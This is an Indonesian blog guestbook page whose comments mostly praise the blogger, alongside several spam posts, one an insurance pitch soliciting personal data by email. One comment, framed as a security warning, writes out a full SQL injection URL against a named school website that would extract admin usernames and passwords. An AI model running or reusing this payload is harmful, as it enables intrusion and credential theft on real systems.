3. Buku Tamu

30 thoughts on “3. Buku Tamu

  1. Luar Biasa, ini memang jagonya, kalau setiap guru, setiap kepala sekolah punya prestasi seperti Pak Nono, pasti Klaten lebih maju. Maju terus pak Nono, sukses pendidikan Klaten, sukses semua. Amin.
    Bibit : bibitz.wordpress.com

  2. saya dari dunia maya.sebelumnya saya minta maaf.aku cuman mw kasih tau saja kalau web

    http://www.sman1karangnongko-klt.sch.id

    mw di hack orang.bilang sama adminnya supaya keamanan webnya diperbaiki lagi.kalau bapak tidak percaya silahkan chek

    http://www.sman1karangnongko-klt.sch.id/berita.php?ID=25+AND+1=2+UNION+SELECT+0,1,2,3,4,group_concat(fs_id,0x3a,fs_password,0x3a,fs_kat%20),6,7,8,9%20from%20t_admin–

    (user name admin+passwordnyah )

  3. blog bapak oke banget, jika semua kepala sekolah punya pemikiran seperti bapak untuk memajukan duia pendidikan maka semakin baguslah kualitas pendidikan di Indonesia ini

  4. Waktu Adalah Uang

    [timemoney] Bila Anda menunda keputusan keuangan yang harus diambil maka hal ini bisa merusak Anda tapi bila Anda melakukannya lebih dini, hal ini bisa memberikan kesejahteraan. Benar begitu? Semua keputusan ada di tangan Anda.

    Ric Edelman, perencana keuangan andal dari Amerika, menyebutkan dalam bukunya yang bertajuk The Truth about Money, sedikitnya ada empat masalah utama yang membuat orang gagal menciptakan kehidupan yang sejahtera sebagaimana mereka harapkan, yakni:

    1. Sikap suka menunda-nunda (procrastination);
    2. Kebiasaan menghabiskan (spending habits);
    3. Inflasi yang terus meningkat (inflation); dan …
    4. Pajak (taxes)

    Dua hal pertama yang disebutkan Edelman lebih merupakan masalah personal/pribadi, sementara dua hal lainnya boleh dikatakan sebagai masalah “sosial”. Atau dapat juga dikatakan bahwa dua hambatan pertama merupakan faktor “internal”, sementara dua yang lainnya bersifat “eksternal”.

    Faktor “internal” harus diatasi dan diselesaikan pada level personal. Sikap suka menunda-nunda perencanaan keuangan, merupakan faktor utama tidak tercapainya kehidupan sejahtera di masa datang. Menunda perencanaan keuangan guna mempersiapkan biaya-biaya pendidikan anak, misalnya, dapat berdampak buruk kalau dilihat dalam jangka panjang. Akibatnya, anak-anak yang kita cintai mungkin saja akan kehilangan kesempatan untuk dapat menikmati proses pembelajaran di lembaga-lembaga yang bermutu baik karena keterbatasan biaya. Dalam hal persiapan dana pensiun juga sama. Mereka yang tidak mempersiapkannya jauh-jauh hari––idealnya dalam rentang waktu 30-40 tahun sebelum masa pensiun itu––boleh jadi akan menyusahkan pihak lain (baik keluarga maupun pemerintah) di masa mendatang.

    Berbeda dengan faktor “internal” yang lebih merupakan tanggung jawab pribadi, faktor “eksternal” berkaitan dengan kondisi sosial dan perekonomian suatu negara. Tidak banyak orang yang dapat mempengaruhi tingkat inflasi dan mengatur soal perpajakan dalam suatu negara. Hal ini dipengaruhi oleh banyak faktor poleksosbudhankam yang sangat kompleks yang bahkan bisa melampaui kemampuan suatu pemerintahan karena hubungan-hubungan dalam skala regional sampai internasional-global. Yang mungkin dapat dilakukan oleh orang perseorangan dalam mengatasi hal ini adalah mengantisipasi berbagai kemungkinan yang akan muncul dengan menarik pelajaran dari sejarah masa lalu. Artinya, sekalipun inflasi dan pajak tidak dapat kita kontrol, namun kita tetap dapat menentukan sikap pribadi terhadap hal-hal tersebut.

    Biaya mahal yang harus dibayar!

    Waktu adalah faktor terbesar dalam menentukan nilai uang. Sebut saja, Anda menabung sebesar Rp10 juta dengan bunga 8 persen per tahun/net. Dalam satu tahun ke depan tentunya Anda akan mengharapkan nilai investasi Anda akan lebih besar dari Rp10 juta atau nilainya bertumbuh menjadi Rp10.800.000. Bila Anda menyimpannya di bawah bantal, maka nilai Rp10 juta akan tetap bernilai Rp10 juta satu tahun mendatang. Malah mungkin berkurang karena adanya inflasi.

    Temuan paling penting dalam sejarah keuangan adalah bunga majemuk (compound interest). Prinsip bunga majemuk adalah, hasil bunga yang didapat dari investasi akan ditambahkan kembali ke investasi awal dan dibungakan kembali. Jadi hasil yang akan Anda peroleh dalam tahun-tahun mendatang bukan hanya dari investasi awal yang Anda tempatkan tapi juga dari bunga yang dihasilkan selama uang itu diinvestasikan.

    Mari kita lihat perhitungan yang sebenarnya. Seperti contoh di atas, bila Anda menabung sebesar Rp10 juta dengan bunga 8 persen per tahun/net. Satu tahun ke depan nilainya bertumbuh menjadi Rp10.800.000. Anda terus menginvestasikannya. Begitu tahun kedua berjalan, maka Anda akan mendapatkan 8 persen keuntungan lagi tapi bukan dari nilai Rp10 juta tapi dari nilai Rp10,800,000 atau di akhir tahun kedua nilai ivestasi Anda akan bertambah menjadi Rp11,664,000. Semakin panjang masa investasi maka nilai investasi Anda juga akan bertambah sejalan dengan perhitungan bunga berbunga.

    Berapa pun tingkat suku yang Anda peroleh dari investasi yang dilakukan, waktu akan memberikan tingkat pengembalian yang luar biasa. Tapi dengan tingkat suku bunga lebih tinggi satu poin saja, nilai keuntungan yang mungkin diperoleh akan jauh bertambah.

    Andi berusia 25 tahun, Tuti 35 tahun, dan Anto 45 tahun. Masa pensiun bagi mereka adalah diusia 55 tahun. Lihat perkembangan investasi yang mereka lakukan setiap bulan sejumlah Rp1 juta dengan tingkat suku bunga 8 persen. Dalam kehidupan nyata, pajak berpengaruh dan menurunkan jumlah keuntungan yang bisa Anda peroleh.

    Jelas terlihat dari tabel di atas, harga yang harus dibayar akibat kebiasaan menunda sangat mahal. Bila Anda menunda 10 tahun (usia Anda saat ini 25), dengan nilai investasi Rp100 juta dan asumsi bunga 6 persen, di usia 55 tahun, Anda hanya memperoleh dana sekitar Rp320 juta. Bila tidak menundanya Anda bisa memperoleh sekitar Rp574 juta.

    Satu-satunya tindakan yang harus Anda ambil adalah melakukan perencanaan keuangan keluarga yang menyeluruh sekarang. Jangan tunda lagi, berapapun usia Anda saat ini. Karena menunda keputusan seputar keuangan keluarga harus dibayar mahal di masa datang.

    Take action, now…!!

    Kirimkan data Anda berupa = nama lengkap sesuai ID, Tanggal Lahir, Jenis Pekerjaan, Perokok / bukan Perokok serta besar dana yang akan ditabung.

    email : prudarben@yahoo.com

    Kami bantu membuatkan ilustrasi GRATIS perencanaan keuangan yang baik, benar, jelas, transparant dan sangat BERMANFAAT bagi anda sekeluarga.

  5. Sukses selalu Buat Bapak,Saya tinggal di Sebelah barat SMUN Karangnongko,Gondangan,Saya punya adik dua jg sekolah disitu,tapi sudah lulus semua,saya anak Pak diyono/Bengkel sepeda Gondangan Pak,Salam kenal dan Maju Terus.

  6. Salam kenal Bapak, saya Merta dari Acara Si Bolang Trans7 bermaksud meminta bantuan informasi seputar kegiatan anak anak desa, wisata dan kegiatan yang unik dari Kab. Klaten untuk acara Si Bolang Trans7.

    terima kasih banyak atas bantaunnya, Salam

    Cp : mertatristina@gmail.com

  7. I do accept as true with all of the concepts you have offered in your post. They’re really convincing and will definitely work. Still, the posts are very brief for beginners. May you please extend them a little from next time? Thanks for the post. gegedebckeec

  8. Salam Hormat !!!
    Bapak Pengawas….
    Telah Bapak berikan apa yang semua kami butuhkan untuk betul-betul kami bisa menjadi seorang Guru yg profesional..semoga menjadi dokumen abadi perjalan pendidikan di negeri ini… Terima kasih

Tinggalkan Balasan ke wawan Batalkan balasan